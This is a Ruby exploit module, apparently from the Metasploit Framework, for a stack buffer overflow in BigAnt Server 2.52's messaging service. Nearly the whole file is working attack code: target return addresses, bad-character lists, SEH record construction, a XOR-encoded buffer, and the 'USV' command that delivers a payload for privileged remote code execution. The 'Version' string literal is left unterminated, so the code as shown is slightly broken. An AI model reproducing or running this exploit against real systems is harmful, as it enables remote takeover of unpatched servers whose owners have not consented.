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##
# $Id: bigant_server_usv.rb 8071 2010-01-05 11:49:12Z swtornio $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'BigAnt Server 2.52 USV Buffer Overflow',
'Description' => %q{
This exploits a stack overflow in the BigAnt Messaging Service,
part of the BigAnt Server product suite. This module was tested
successfully against version 2.52.
NOTE: The AntServer service does not restart, you only get one shot.
},
'Author' =>
[
'Lincoln',
'DouBle_Zer0',
'jduck'
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 8071
,
'References' =>
[
[ 'OSVDB', '61386' ],
[ 'URL', 'http://www.exploit-db.com/exploits/10765' ],
[ 'URL', 'http://www.exploit-db.com/exploits/10973' ]
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => (218+709+35),
'BadChars' => "\x2a\x20\x27\x0a\x0f",
# pre-xor with 0x2a:
#'BadChars' => "\x00\x0a\x0d\x20\x25",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'BigAnt 2.52 Universal', { 'Ret' => 0x1b019fd6 } ], # Tested OK (jduck) p/p/r msjet40.dll xpsp3
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 29 2009'))
register_options([Opt::RPORT(6660)], self.class)
end
def exploit
connect
sploit = ""
sploit << payload.encoded
sploit << generate_seh_record(target.ret)
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + payload_space.to_s).encode_string
sploit << rand_text_alphanumeric(3)
sploit << [0xdeadbeef].pack('V') * 3
# the buffer gets xor'd with 0x2a !
0.upto(sploit.length-1) do |idx|
sploit[idx] = sploit[idx] ^ 0x2a
end
print_status("Trying target #{target.name}...")
sock.put("USV " + sploit + "\r\n\r\n")
handler
disconnect
end
end
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